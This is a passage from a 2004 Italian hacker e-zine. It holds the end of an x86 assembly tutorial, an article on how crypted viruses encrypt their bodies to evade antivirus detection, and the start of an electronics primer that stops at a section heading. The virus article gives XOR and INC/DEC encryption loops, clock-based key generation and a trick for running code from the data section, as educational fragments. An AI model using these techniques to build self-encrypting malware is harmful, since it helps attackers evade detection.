Se i tempi sono ben bilanciati, un pezzo verra' costruito in circa 1/5
del tempo rispetto a quello che ne impiegherebbe un unica persona.
In realta', immaginate che questa catena di montaggio debba compiere di
continuo montaggi diversi, perche' nella cassa di partenza si trovano
tanti semplici kit ma composti da materiali diversi.

L'esempio di questa particolare fabbrica non e' dei piu reali, ma
l'importante e' che sia chiaro.

(0) Una persona portera' una cassa piena di kit, dal magazzino alla li-
nea di montaggio.

(1) In linea, una prima persona prende il kit dalla cassa lo apre e lo
prepara per il secondo operatore.

(2) La seconda persona deve riconoscere il kit a seconda di un codice
numerico scritto su un etichetta.
Immaginate che qui il nastro si interrompa e poi ne partano 3 paral-
leli. Un gruppo di tre persone, ognuna specializzata in un montaggio
diverso, sono disposti affiancati, lavorando ognuno in uno dei tre
nastri paralleli.

(3) Dopo il riconoscimento del kit dal secondo operatore, una terza
persona lo portera' sul nastro dove si trova l'operatore specializzato
a montare quel kit.

(4) L'operatore di montaggio, sapendo cosa deve fare assembla veloce-
mente le parti.

(5) Il quinto alla fine del nastro va a riporle ordinatamente a magaz-
zino.
(4)
____
(0) (1) (2) (3) | | (5)
----> ---- ----- ----- |---- |---->
|____ |

Bene, veniamo ora al microprocessore 486 :) .

--==0==--
Dal 386 in poi le istruzioni vengono appunto eseguite da una particolare
catena di montaggio chiamata "Pipeline". A partire pero dal 486 la prima
operazione riguarda solitamente il prelievo di un grosso blocco di ist-
ruzioni da eseguire dalla memoria fisica, quindi portate in una zona
all'interno del microprocessore chiamata memoria cache. Questo perche'
con l'avvento dei 486 il microprocessore era talmente veloce ad eseguire
le istruzioni che il collo di bottoglia era diventata la lettura dei
dati dalla memoria. Quindi il trasporto di un blocco di codice da me-
moria fisica (SDRAM) all'interno o vicino al microprocessore (memoria
cache) viene fatto dal nostro operatore 0 (zero). Questa operazione e'
chiamata solitamente PREFETCH delle'istruzioni.

--==1==--
In una prima fase viene prelevata un istruzione dalla memoria cache.
Questa operazione e' chiamata FETCH dell'istruzione.

--==2==--
In una seconda fase avviene la decodifica dell'istruzione.
Questa operazione e' chiamata DECODE.

--==3==--
In una terza fase avviene l'instradamento dell'istruzione nella coda
d'esecuzione appropriata.
Questa operazione e' chiamata DISPATCH.

--==4==--
In una quarta fase avviene appunto l'esecuzione dell'operazione.
Questa operazione e' chiamata EXECUTION.

--==5==--
In fine, come quinta fase, se necessario, viene scritto il risultato
nel posto appropriato, ad esempio in un registro o in memoria.
Questa operazione e' chiamata WRITEBACK.

Le fasi sarebbero comunque 5, la fase 0 (zero) l'ho chiamata cosi'
perche' e' opzionale, ad esempio nei 386 non era necessaria ma c'e'
sempre dal Pentium in su.

Senza entrare in eccessivi dettagli, ecco uno schema semplice
di una pipeline di un processore 486.

+---------+--------+----------+-----------+-----------+
| FETCH | DECODE | DISPATCH | EXECUTION | WRITEBACK |
+---------+--------+----------+-----------+-----------+

Riguardo il funzionamento di una pipeline mi fermo qui. Non avrebbe
senso entrare nei dettagli, eventualmente troverete fior fior di testi
e documenti pdf su questo argomento.

Bene, sperando che fino a qui sia tutto abbastanza chiaro, salgo verso
il pentium 4 che e' il nostro obiettivo. Con l'avvento dei processori
pentium le pipeline sono diventate 2 (pipeline U e V) mentre il pentium4
ne dovrebbe avere 9 se non sbaglio, con una struttura piu evoluta.
Quando un microprocessore e' dotato di piu di una pipeline, si parla di
tecnologia "superscalare".
Immaginate quindi piu linee parallele, dove le istruzioni entrano
nell'ordine nella prima fase di ogni pipeline (FETCH) e poi avanzano
assieme ad ogni colpo di clock.

fase

F D D E W
t x (5a istruzione)
e x x (4a istruzione)
m x x x (3a istruzione)
p x x x x (2a istruzione)
o x x x x x (1a istruzione)

--------> avanzamento

La fase piu critica e' l'esecuzione com vi dicevo, e a seconda dell'ist-
ruzione puo richiedere anche piu di un ciclo di clock.

Siamo arrivati al dunque, con cui termino questa parte pesante focaliz-
zata sull'hardware.
Siccome l'esecuzione di un istruzione puo richiedere 1 o piu cicli di
clock, e siccome tutti i nastri affiancati avanzano contemporaneamente,
un istruzione lunga da eseguire su una pipeline fermera' anche quelle
che sarebbero veloci da eseguire nelle altre pipeline. Questo vi fa
capire che sarebbe anche importante l'ordine con cui facciamo entrare
le istruzioni dentro alle pipeline. Qui si parla di otimizzazione del
codice, cosa che per ora lascerei stare, anche se vorrei solo che per
il momento ne iniziate a capire l'importanza. Insomma, tutte le pipe-
line devono aver completato la fase prima di avanzare alla sucessiva.

Bene, tirate un sospiro, direi che questo quadro sul funzionamento del
microprocessore sia abbastanza completo, seppur non particolarmente det-
tagliato dovrebbe avervi dato un idea su cosa succede in un microproces-
sore X86.

Ora elenco subito tutto il set di registri di base presenti sempre
dal 386 al pentium 4, con una breve spiegazione del loro utilizzo.
I registri sono dei "cassetti" grandi da 16 o 32bit. Quelli da 32
tuttavia possono essere riempiti anche solo per i primi 16bit. Alcuni
di questi possono essere riempiti anche solo per i primi o secondi
8 bit.


eax registro generale, ma usato anche come Accumulatore
dal microprocessore stesso per i risultati dei calcoli.

ebx registro generale.

ecx registro generale, utilizzato dal microprocessore come
Contatore nell'esecuzione di alcune istruzioni.

edx registro generale.

esp puntatore allo stack (lo stack e' una piccola area di
memoria situata nell'area cache, riservata per il salvatag-
io momentaneo di piccoli gruppi di varabili e dati).

ebp puntatore base.

esi puo essere usato sia come registro generale che come regi-
stro Sorgente per operazioni su stringhe.

edi puo essere usato sia come registro generale che come regi-
stro Destinazione per operazioni su stringhe.

eip questo registro e' utilizzato esclusivamente per puntare
alle Istruzioni.

es segmento Extra. |
|
cs segmento del Codice. |
|
ss segmento dello Stack. |
|-- registri a 16 bit.
ds segmento dei Dati. |
|
fs segmento generale. |
|
gs segmento generale. |


I registri di "segmento" "es cs ss ds" erano utilizzati prima dell'av-
vento del 386 e della modalita' protetta, proprio come indicato dai loro
nomi: ognuno puntava all'inizio di un segmento (blocco da 64k) di
memoria. In modalita protetta assumono un altro significato che per ora
non ha senso che vi spieghi, ce gia abbastanza carne al fuoco per ora.
Riguardo modalita reale e modalita protetta ne daro una breve spiega-
zione nella perte terza.

A cosa serva ogni registro vedrete che lo capirete solo via via che
inizieremo a buttar giu un po di codice. Per ora assumete solo che i
registri di base sono questi che vi ho elencato. Tutti i registri a
32 bit possono essere utilizzati anche solo per i 16 bit meno signifi-
cativi, mentre "eax ebx ecx edx " anche per i primi o secondi 8 bit.

Ad esempio prendiamo eax. Il bit meno significativo viene sempre nume-
rato come 0.

31 0
+----------------+--------+--------+
| eax | |
| | ax |
| | ah | al |
+----------------+--------+--------+

Se ci riferiamo a tutti i 32 bit, lo chiameremo eax, se ci riferiamo
solo ai primi 16 bit lo chiameremo ax, se vogliamo riferirci solo ai
primi o ai secondi 8 bit, possiamo utilizzare i nomi ah(high) o al
(low).

In questa parte ho ritenuto necessario dilungarmi appunto sull'hardware
e riportero solo qualche esempio pratico sul codice (per vostra gioia,
la parte 3 sara' quasi completamente dedicata al codice).

Una semplice applicazione di base puo essere una copia di memoria.
Pertirei proprio con una funzione perche' un programma completo
scritto in assembly e' piuttosto lungo per essere spiegato adesso,
andrei oltre allo spazio riservato a questo articolo.
Tuttavia lo sviluppo di applicazioni in assembly si basano su funzioni
gia pronte, proprio perche solo cosi potremo sviluppare in tempi
ridotti. Una volta che una funzione e' consolidata, potra essere uti-
lizza spesso nei nostri programmi.
Supponiamo di voler scrivere una funzione di copia di memoria, simile a
memcpy che molti di voi avranno utilizziato in linguaggio C. Utilizzando
l'assembly la velocita' della copia dipendera da noi, dalla capacita'
di scrivere il codice in maniera pulita ed efficente e dai controlli che
vorremo aggiungere all'interno della funzione. Se saremo bravi e non in-
trodurremo particolari controlli per le sovrascritture, possiamo rag-
giungere risultati anche migliori di un memcpy C.


;----------------------------------------------------------------------
; copymem "memory copy" (Tasm 5.0 ideal mode syntax)
;----------------------------------------------------------------------
proc CopyMem uses esi edi, Sorg: DWORD, Dest: DWORD,
NBytes: DWORD

mov esi,[Sorg]
mov edi,[Dest]
mov ecx,[NBytes]
Copying: mov al,[byte ptr esi]
mov [byte ptr edi],al
inc esi
inc edi
dec ecx
cmp ecx,0
jg Copying

ret

endp CopyMem


Spiego ora riga per riga cio che viene fatto in questa semplice funzione
di copia di memoria.
Come vedete i commenti in linguaggio assembler sono preceduti da un
punto e virgola.

proc CopyMem uses esi edi, Sorg: DWORD, Dest: DWORD,
NBytes: DWORD

Questa riga dichiara la funzione, che avra' nome CopyMem, usera' i
registri "esi" e "edi" che verranno appunto preservati, cioe alla fine
avranno i valori che avevano prima di entrare (direttiva "uses"), i
parametri che volgiamo passare alla funzone saranno nell'ordine le
doubleword Sorg (indirizzo di memoria dei dati che vogliamo copiare),
Dest (indirizzo di memoria dove vogliamo copiare i dati) e NBytes
che sara il numero di bytes da copiare. Per chiamare questa funzione
in assembly useremo la seguente sintassi:

call CopyMem, [sorgente], [destinazione], [lunghezza]


La riga "mov esi, [sorg]" copia il contenuto della variabile 32bit
"sorg" dentro al registro 32bit "esi". Come dire esi=Sorg, stessa cosa.
Memorizzate presto il significato dell'istruzione mov perche' e' tra le
piu utilizzate. Vedrete che vi entrera in testa rapidamente. Con questa
istruzione casico l'offset di memoria di partenza dentro al registro
"esi". Devo avere gli indirizzi nei registri perche solo cosi si rag-
giunge la massima velocita'. Altrimenti, se userei Sorg e Dest senza
metterle in "esi" e "edi", andrei ogni volta a leggere i loro vlalori
dallo stack.. e capite che leggere da memoria sarebbe molto piu lento.
I registri come vi ho gia detto invece sono dei cassetti presenti dentro
al microprocessore, e servono proprio a portarsi i dati dentro al micro-
processore ed avere la massima velocita' evitando ogni volta una fase
in piu di fetch.

Bene, tornando al codice, carichiamo quindi "esi" con l'indirizzo "sor-
gente"
, edi con l'indirizzo di memoria di "destinazione" e il registro
generale "ecx" che utilizzeremo come contatore con la "lunghezza" del
blocco di memoria che vogliamo copiare.

Il succo sta qui0 :

mov al,[byte ptr esi]
mov [byte ptr edi],al

La prima riga indica che carico il BYTE puntato da "esi" dentro al reg-
istro "al" (8 bit meno significativi di eax).
La seconda indica che prendo il contenuto del registro "al" e lo scrivo
in memoria, alla locazione puntata da "edi".
Come vi dicevo la memoria e una pila di cassetti da 8 bit. Quindi cosi
facendo ho copiato il contenuto di un cassetto in un altro passando per
il registro "al" del microprocessore che ha fatto da tramite.
Vi chiederete perche non e' possibile copiare direttamente da memoria a
meoria. Perche il microprocessore non e' capace di farlo. Bisogna ob-
bligatoriamente passare attraverso un registro.


inc esi
inc edi
dec ecx
cmp ecx,0
jg Copying

Una volta copiato un byte, con l'struzione "inc" incrementiamo di 1
unita' gli indirizzi contenuti in "esi" ed "edi" mentre con l'istruzio-
ne "dec" decrementiamo di 1 unita' il numero di byte da copiare conte-
nuto nel registro "ecx". Listruzione "cmp ecx,0" e "jg Copying" lavo-
rano assieme: "cmp ecx, 0" compara ecx con 0, "jg Copying" significa
"Jump if Greater" to Copying, cioe0, se "ecx" e' maggiore di 0 allora
salta a "Copying" cioe continua a copiare.

ret

L'istruzione "ret" serve a terminare la funzione: quando noi effettuiamo
il "call" di una funzione, viene salvato nello stack l'indirizzo del
codice in cui ci troviamo, prima di saltare alla funzione. Quando a fine
funzione chiamiamo "ret" l'indirizzo del codice dove dobbiamo tornare
viene ritirato fuori dallo stack. Lo so che questo discorso non e'
semplice da capire allora lo riprendo un attimo.
Quando noi clicchiamo un .exe, il sistema operativo carica l'applica-
zione in una locazione di memoria ben precisa. Vi deve essere un regi-
stro del microprocessore che tiene conto dove si trova l'inizio del
codice da eseguire. Questo e' il registro "eip" cioe' il puntatore alle
istruzioni (instruction pointer). Lui tiene conto di dove si trova la
prossima istruzione da eseguire. E' lui quindi che viene salvato nello
stack ad ogni call e ritirato ad ogni ret.

Per ora mi fermo qui. Spero che abbiante appreso qualcosa anche sta
volta. Come sapete gia, l'italiano a scuola non era il mio forte ma
magari rileggendo piu volte le parti poco chiare forse capirete meglio.
Ora sappiamo a grandi linee come funziona un microprocessore.
Con i prossimi articoli non ci cureremo piu di questo, ma entreremo
nel vivo del codice :). Per questa volta mi sa che sono sul finire delle
righe a disposizione. Ottimizzeremo la funzione per farla diventare
piu' veloce e poi partiremo con qualche breve applicazione di ricerca
stringhe o di patch di file. Vedremo un po.

Alla prossima.
spectrum <asm(at)ngi<dot>it>


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0C] OQ20040615[0C] ::
:: [0x05][CRYPT0] iNTR0DUZi0NE Ai ViRUS CRiTT0GRAFiCi [MiMMuZ] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Virus, parola breve ma di effetto. Basta guardare la televisione per
accorgersi che questo termine si porta dietro una tanto pessima quanto
giustificata reputazione. Pensiamo ai recenti casi di SARS o di Febbre
dei polli. Cosa che ci fanno rabbrividire. Le stesse emozioni le
proviamo quando il termine e' riferito al campo informatico. Tremiamo
per i nostri poveri computer indifesi alla sola idea che qualche strana
"malattia" possa farci perdere anni e anni di sudate fatiche. A volte
pero' bisogna guardare oltre le nostre paura, conoscere il nemico e,
perche' no, apprezzarne i pregi. Alla fine un virus informatico altri
non e' che un programma, un ottimo programma scritto da abili
programamtori, forse un po' frustrati ma questa e' una cosa a parte.
Forse non abbiamo solo di che temere dai virus, magari qualcosa da
imparare c'e'. Di sicuro non il fine distruttivo, men che meno la loro
capacita' di diffusione, piuttosto dovremmo prenderli come esempi di
ottimizzazione e di codice affascinante. Si sa, spesso il lato oscuro
della forza e' quello piu' alettante, conoscerlo pero' non e' un
peccato, metterlo in pratica si.

Abbiamo detto che un virus spesso rappresenta un gioiellino della
programamzione, ma perche'? Sopratutto per la sua natura: esso e' un po'
come una creaturina che viene partorita e poi deve muoversi da sola.
Proprio questa necessita' di indipendeza ha indotto i virus-writer a
ideare metodi sempre piu' complessi per mimetizzare i propri pargoli.
Metodi che noi possiamo fare nostri e che, se anche non ci serviranno
mai direttamente, sicuramente ci forniranno un ottimo esempio di
programmazione.

Avrete sicuramente sentito dire piu' volte che le tecniche sfruttate da
hacker e simili sono diventate in seguito gli strumenti per migliorare
la tecnologia che tutti usiamo. Questo in parte vale anche per i virus.
Sono state ripescate dai virus alcune tecniche di occultamento per
applicarle a cose piu' legali. Non mi ferisco agli strumenti usati per
proteggersi dai virus, ma soprattutto a quelle tecniche di
anti-debugging che hanno permesso a certi programmi di rendere piu'
ostico (ma non impossibile) il cracking. Si, proprio cosi', se avete mai
provato a crackare qualcosa vi sarete probabilemnte imbattui in
programmi che modificano il loro codice, nascondo parti di esso,
codificano sezioni intere e cercano di far seguire false piste a chi
prova a rimuovere le protezioni di un software.

Ecco dunque un motivo per cui parlare di come funzioni un virus, se poi
il tutto e' corredato da un po' di sana curiosita' e dalle migliori
intenzioni perche' no? Bando alle ciance, iniziamo a vedere qualcosa che
potrebbe interessarci. Cerchiamo di capire cosa siano e come operino le
istruzioni di occultamento. Molte sono le tecniche usate. Quelle piu'
interessanti e sfruttate sono sicuramente il polimorfismo e, in tempi
meno recenti, lo stealth. Ma non voglio andare troppo sul difficile,
meglio esporre un concetto molto piu' semplice, ormai banale e
facilmente riconoscibile dagli anti-virus, ma pur sempre interessante,
ed utile per altre applicazioni: la Crittografia.

Spero che chi legga questo articolo conosca, all'incirca, il
comportamento di un virus. Ricapitolando velocemente (senza far
distinzioni fra infettori per dos, per com, per PE, ecc) un virus cerca
file eseguibili, si copia alla fine di essi e fa in modo che la prima
istruzione eseguita sia parte del suo codice in modo da ricominciare il
ciclo ed alla fine eseguire il file che ha infettato. Che si tratti di
virus TSR o altro, il concetto piu' o meno e' sempre lo stesso. Non
addentriamoci nei particolari. Queste operazioni sono facilmente
riconoscibili dagli AV (antivirus), che ormai possono riconoscere anche
un virus neonato. Per rendergli le cose piu' difficili, tempo fa,
iniziarono a nascere i primi virus crittografici che al loro interno
avevano una particolare routine in grado di crittografare il codice e
renderlo illeggibile agli AV. Il tutto funzionava secondo un semplice
schema:

- il virus viene eseguito quando ancora non e' crittografato
- trova un file da infettare e lo prepara
- cripta parti del suo codice e si scrive nel file host
- termina l'infezione
- quando il file infetto viene eseguito subito parte una routine di
decriptazione
- il codice, ora non crittografato, viene messo (in memoria) al posto di
quello criptato
- il virus si riesegue, cerca un file, lo apre, si cripta di nuovo e
continua cosi'.

Spero sia tutto chiaro. Come avrete potuto vedere, il concetto generico
non e' molto difficile. Certo e' che se la crittazione fosse "statica"
(cioe' se i byte del virus venissero sempre codificati allo stesso modo)
un AV riconoscerebbe subito il virus. Quindi il virus deve avere un
motore di criptazione che cambi ogni volta il suo output. Per fare cio'
basta utilizzare una chiave che cambi ad ogni infezione e in base alla
quale la crittografazione del virus sia sempre diversa. Vedremo dopo
come. Una cosa da dire subito e' che, se il virus esegue parti di se'
stesso non ancora decriptate, andrebbe in crash, perche' i byte non
rappresentano nessuna operazione logica. Risulta quindi importante che
la decriptazione sia effettuata prima di eseguire le parti modificate,
ma tutto cio' mi sembra abbastanza logico no?

Passiamo ora a qualcosa di piu' serio, vediamo come un virus si possa
criptare. Generalemnte i motori crittografici sono formati da poche e
semplici operazioni matematiche o logiche. L'esempio piu' comune e' lo
XOR. Questa operazione logica e' a dir poco straordinaria, perche'
permette di usare lo stesso codice per criptare e decriptare.

Lo XOR funziona cosi': a valori uguali associa un bit 0, a valori
discordi un bit 1. Una tabellina riassuntiva potrebbe essere questa:

+-----+-----+-----+
| XOR | 0 | 1 |
+-----+-----+-----+
| 0 | 0 | 1 |
+-----+-----+-----+
| 1 | 1 | 0 |
+-----+-----+-----+

Tutto questo significa che se eseguiamo l'istruzione:

MOV AX, 10
XOR AX, 10

Avremo come valore di AX 0 (ma guarda che novita'), il bello e' che se
ora facciamo di nuovo

XOR AX, 10

in AX avremo di nuovo 10 ;) I piu' rapidi di comprendonio avranno gia'
capito dove si va a parare. Ricordate la chiave di cui parlavo prima?
Bene, sara' uno dei valori da passare allo XOR, mentre l'altro saranno i
byte da crittografare. Vediamo un altro esempio di XOR in C:

A = A ^ B;
B = B ^ A;
A = A ^ B;

Avremo i valori di A e B scambiati senza il bisogno di una variabile
temporanea. (il simbolo ^ in C equivale allo XOR)

Ancora un altro esempio:

XOR 10011010b, 01101001b

vediamo di farlo come se fossimo a scuola rifacendoci allo schemino di
sopra.

10011010 XOR
01101001
------------
11110011

Come potete vedere otteniamo un valore che ha poco a che fare con quello
di prima. E se facciamo di nuovo uno XOR fra il valore ottenuto e il
secondo valore (la chiave) come per magia torneremo al valore iniziale:

11110011 XOR
01101001
------------
10011010

Diventa quasi un giochino divertente! Ora, sappiamo benissimo che tutte
le istruzioni che scriviamo vengono tradotto in numeri binari, quindi,
mettiamo di avere un'istruzione come MOV AX, 1, sara' scritta come
10111000 00110100 00000001, quindi potremmo XORare anche questa serie di
bit, con quella famosa chiave casuale. Vediamo pero' come tutto cio'
puo' essere tradotto in codice assembler.

Cripta:
MOV CX, Numero_byte_da_criptare
MOV DI, Primo_byte_da_criptare
MOV SI, DI
MOV AH, Chiave_casuale
Ciclo:
LODSB
XOR AL, AH
STOSB
LOOP Ciclo

Ecco il semplice motore crittografante. Tutto qui? Si, tutto qui. Il
codice berat e' estremamente banale e limitato a 255 possibilita' (la
chiave e' a 8 bit in questo caso, quindi puo' andare da 0 che non cripta
a 255), quindi non si tratta di un motore cosi' potente, ma basta poco
per migliorarlo. Vediamolo nel dettaglio. La prima istruzione mette in
CX (che servira' per il loop) il numero di byte da criptare (ottenibile
tramite differenza fra due label, cioe' al posto di
Numero_byte_da_criptare potete metterci un "Label_inizio - Label_fine").
Poi un paio di istruzioni per mettere in SI il primo byte da criptare e
in AH la chiave casuale (che vedremo dopo come ottenere). A questo punto
inizia un ciclo che con LODSB muove un byte da DS:SI ad AL, poi prende
il byte in questione e lo codifica con XOR, quindi con STOSB lo sposta
in ES:DI, che guarda caso punta proprio al byte appena criptato. Poi il
ciclo continua, prendendo il byte successivo e cos via, finche CX (che
viene diminuito ogni volta che si ripeti il ciclo) non arriva a 0, cioe'
alla fine della sezione da criptare. Bello vero? E per decriptare la
funzione e' la stessa! Ancora piu' bello.

Potete anche usare una chiave a 32 bit, aumentando cosi' le possibilita'
di output del motore crittografante. Vi basta usare registri a 32 bit
(ad esempio DX al posto di AH e AX per AL) e LODSW e STOSW che muovono
rispettivamente da DS:SI a AX e da AX a ES:DI. Attenzione pero', la
lunghezza dovra' essere divisa per 4, infatti lavoreremo con word e non
con byte.

Non siete comunque costretti ad usare solo XOR, potete usare altre
funzioni in coppia o altre operazioni sui byte come INC e DEC, ma
dovrete scrivere una routine di decriptazione ed una di criptazione.
Dipende tutto dalla vostra fantasia. Tanto per citarla, altre operazioni
interessanti sono ROL/ROR che ruotano i byte e NOT/NEG. Potreste ad
esempio aumentare di una certa quantita' i byte presi dal codice, e poi
diminuirli della stessa per decriptare. Teoricamente un motore di
criptazione del codice potrebbe anche limitarsi a fare un ADD di un
valore casuale (come la chiave) ai byte, la routine di decriptazione
dovrebbe fare un SUB della stessa quantita'. Insomma, creare un motore
crittografico dipende solo dalla vostra fantasia (e dalle vostre
conoscenze degli operatori logici e matematici ;-). Anche la struttura
del motore pu essere diversa, non dovete per forza seguire lo schema che
ho presentato qui, dato che e' molto usato e per questo conosciuto dagli
AV. Ma se non siete interessati ad un infettore di eseguibili, beh,
potrebbe andarvi bene lo stesso. Per completare il discorso vorrei farvi
notare come un virus crittografico sia riconoscibile da un AV, dato che
il suo motore resta "pulito", quindi conoscendone le istruzioni di
criptazione un AV puo' rintracciare il virus. Vi avevo avvisati che come
tecnica e' vecchiotta.

Tanto per fare un altro esempio, eccovi un motore crittografico, formato
da due routine, una criptante ed una decriptante:

Cripta:
MOV CX, Numero_byte_da_criptare
MOV DI, Primo_byte_da_criptare
MOV SI, DI
MOV DX, Chiave_casuale_32bit
Ciclo_Cript:
LODSW
INC AX
INC AX
XOR AX, DX
DEC AX
XOR AX, DX
DEC AX
STOSW
LOOP Ciclo_Cript

e ora la routine di decifrazione

DeCripta:
MOV CX, Numero_byte_da_criptare
MOV DI, Primo_byte_da_criptare
MOV SI, DI
MOV DX, Chiave_casuale_32bit
Ciclo_DeCript:
LODSW
INC AX
XOR AX, DX
INC AX
XOR AX, DX
DEC AX
DEC AX
STOSW
LOOP Ciclo_DeCript

Ovviamente questi due codici si rifanno a quanto detto prima, cioe' deve
essere generata una chiave in qualche modo, e deve essere "leggibile".
Inoltre il codice decrittante non deve venire criptato (quello per
crittografare puo' anche venir modificato).

Abbiamo visto quanto sia semplice da scrivere un motore crittografico, e
persino chi non capisce un tubo di assembler, se va a vedersi i vari
registri citati, potrebbe capire cosa e' stato detto e fatto fino ad
ora. Non abbiamo pero' parlato della chiave. Abbiamo capito che deve
essere casuale, ma come ottenerla? Beh, mi sembra semplice, da' una
funzione che ci dia ogni volta un valore diverso, il che potrebbe essere
un'ingombrante funzione "random" o, per un virus dos, una chiamata
veloce all'interrupt 21h, precisamente alla funzione 2Ch: l'ora di
sistema. Questo int ci da in CH l'ora, in DH i secondi e in Dl i
centesimi. Se ci basta una chiave a 16 bit prendiamoci Dl, se no una
combinazione di DL con gli altri registri per una chiave a 32 bit.
Avremo cosi' un valore casuale col quale criptare. La cosa importante e'
ricordarsi che il valore va mantenuto nel corpo del virus per
permettergli di decrpitarsi...quindi non va nemmeno criptato, eh! Faremo
quindi:

MOV AH, 2Ch
INT 21h
MOV KEY, DL

dove KEY sara' una variabile che salveremo, non criptata, nel corpo del
virus.

Restano delle constatazioni da fare. Appena scritto il virus non deve
decriptarsi, infatti non puo' essere stato crittografato. Ecco percio'
la necessita' di fare uno XOR con 0 come chiave. Quando scriveremo il
virus ci bastera' settare il valore KEY a 0, ci pensera' il virus,
quando prendera' la chiave dall'ora del sistema, a modificare il valore
di KEY, che verra' salvato e permettera' le operazioni di cifratura e
decifratura.

Giusto per dare un po' piu' di attualita' a questo misero testo, vediamo
un po' come sfruttare la crittografia in sistemi che, con l'avvento
della memoria protetta, non ci permettono di scrivere ovunque. La prima
soluzione sarebbe quella di andare a Ring0, ma e' un po' lunghetta da
spiegare. Come fare allora per mettere mano al nostro codice? Semplice,
andiamo a lavorare dove abbiamo il permesso di scrittura, cioe' nello
stack o nel segmento dei dati. Qualcuno si stara' chiedendo come. Beh,
andatevi a guardare qualche exploit e pensate. In ogni caso un metodo
simpatico e' quello di scrivere le istruzione hard-codate e metterle
nella zona dati del nostro programma, poi nella sezione destinata al
codice pushare l'offset del primo dato e chiamare una RET. Per la
comodissima proprieta' di questa istruzione EIP puntera' alle nostre
istruzioni hard-core, l'esecuzione del programma continuera' quindi
nella zona dati dove abbiamo la possibilita' di modificare il nostro
codice senza violare i permessi sulla memoria. Nulla di particolare. Un
breve esempio codato con MASM32.

.data
via db 144,144,144,144,144
db 144,144,144,144,144
db 144,144,144,144,144
db 144,144,144,144,144
.code
start:
mov esi,offset via
push esi
ret
invoke ExitProcess,0
end start

Tutto molto semplice. Ah, 144 in esadecimale sta per 90h, cioe' NOP,
nessuna istruzione. Se ai NOP sostituite altre istruzioni avete gia'
capito che saranno eseguite. Se poi vi steste chiedendo (buon segno ;-)
come ottenere una chiave random non avendo la possibilita' di usare gli
interrupt, allora vi consiglio di cercare informazioni sull'API
GetSystemTime e sulla struttura SYSTEMTIME.

Bene, qui finisce la microguida sul funzionamento di
virus-crittografici. Se vi e' stato in qualche modo utile sono contento
per voi. Se vi e' sembrato inutile, mi spiace avervi fatto perdere tempo
prezioso. Lasciatemi concludere con le solite dediche: a Kiara e Laura,
che nella mia vita contano sempre di piu', a Licantrop0 perche' ha una
pazienza infinita con me. Grazie al team di OndaQuadra.


[MiMMuZ] <mimmuz_2000(at)yahoo<dot>it>


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0C] OQ20040615[0C] ::
:: [0x06][ELECTR0] iNTR0DUZi0NE ALL'ELETTR0NiCA [master^shadow] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Introduzione

Ogni cosa che ci circonda e' ormai dominata dall'elettronica. Gesti
quotidiani come guardare la televisione, usare il computer, ascoltare il
proprio gruppo musicale preferito e qualsiasi altra cosa dipendono
fortemente dall'elettronica. Gia', tutto sarebbe piu' difficile senza
elettronica ma che cos'e' l'elettronica in se? L'elettronica e' la
scienza che si occupa dello studio della conduzione dell'energia in
semiconduttori o gas. Si tratta quindi di un campo ristretto
dell'elettrotecnica ma che in fondo e' piu' esteso dell'elettrotecnica
stessa :-) Tralasciamo quindi per una volta l'informatica e dedichiamoci
alla sua base storica. In questo paper affronteremo infatti tutte le
caratteristiche di base per poter parlare successivamente in maniera
appropriata delle varie applicazioni.


GRANDEZZE PRINCIPALI

Prima di parlare di elettronica chiariamo qualche punto fondamentale
dell'elettrotecnica in generale. Le grandezze principali in gioco sono
due: tensione e corrente. TENSIONE Con il termine tensione viene
indicata una grandezza che misura la differenza di potenziale tra due
punti. Solitamente uno dei due punto e' di riferimento per tutto il
sistema e si sceglie abitualmente la massa ovvero un punto a tensione
zero. La tensione si misura in Volt e si indica con la lettera V. A
seconda delle variazioni nel tempo la tensione si divide in: continua ed
alternata. La prima indica una tensione pressoche' stabile nel tempo,
che non subisce variazioni di rilievo in tempi brevi e che quindi non
attraversa "mai" lo zero. Un esempio classico di questo tipo di tensione
e' fornito dalle normali pile stilo caratterizzate da una tensione
fissata a 1.5 Volt. La tensione continua e' polarizzata: il punto a
tensione maggiore viene solitamente individuato da un segno + e il punto
a tensione minore da un segno -. La tensione alternata varia nel tempo,
solitamente secondo un andamento sinusoidale, e passa per lo zero
ripetute volte. Viene inoltre definita la frequenza di una tensione
alternata ovvero il numero di periodi effettuati in un secondo. Non e'
possibile definire una polarizzazione in quanto il segno varia ogni
semiperiodo. Per misurare la tensione alternata viene utilizzato il
modulo. Un esempio classico, alla portata di tutti, e' la tensione di
230 Volt resa disponibile dalle prese di casa nostra. CORRENTE Con
corrente elettrica si intende il flusso di elettroni tra due punti posti
a potenziale diverso. La corrente si esprime con il simbolo I ed
rappresenta il flusso di cariche in un secondo. Tecnicamente parlando si
tratta della derivata della carica effettuata sul tempo.
Convenzionalmente si considera il flusso di corrente dal punto a
tensione maggiore al punto di tensione maggiore. In realta' cio' che si
muove e' un flusso di elettroni quindi la corrente tecnicamente scorre
dal punto a potenziale piu' alto a quello a potenziale minore. Questa
convenzione nasce dalla comparazione con l'equivalente circuito idrico
che prevede la messa in comunicazione di due colonne d'acqua di altezza
diversa (e quindi potenziale): l'acqua fluira' dalla colonna piu' piena
a quella meno piena.


I COMPONENTI ELETTRICI

RESISTENZE
La resistenza e' la proprieta' che i corpi manifestano quando vengono
attraversati da una corrente elettrica. Essa puo'essere vista come una
specie di attrito che rende difficoltoso il passaggio degli elettroni.
Questa proprieta' si misura in Ohm (W) ed e' parte del legame tra
tensione e corrente chiamato Legge di Ohm. La legge di Ohm rappresenta
la legge fondamentale dell'elettrotecnica. Grazie alle legge di Ohm e'
possibile quantificare il rapporto di proporzionalita' presente tra
tensione e corrente. La legge e' espressa dalla formula V=RI. Ogni
conduttore ha una sua resistenza specifica ed e' possibile calcolarla
grazie alla seconda legge di Ohm. La resistenza di un conduttore e'
infatti proporzionale alla resistivita' del mezzo e alla lunghezza dello
stesso ed inversamente proporzionale alla sezione del conduttore. Le
resistenze, o resistori, sono componenti elettrici con una resistenza
data e impostata dal costruttore. Solitamente e' un cilindro ceramico
sul quale viene depositato un impasto resistivo oppure viene avvolto del
filo metallico.

CONDENSATORI
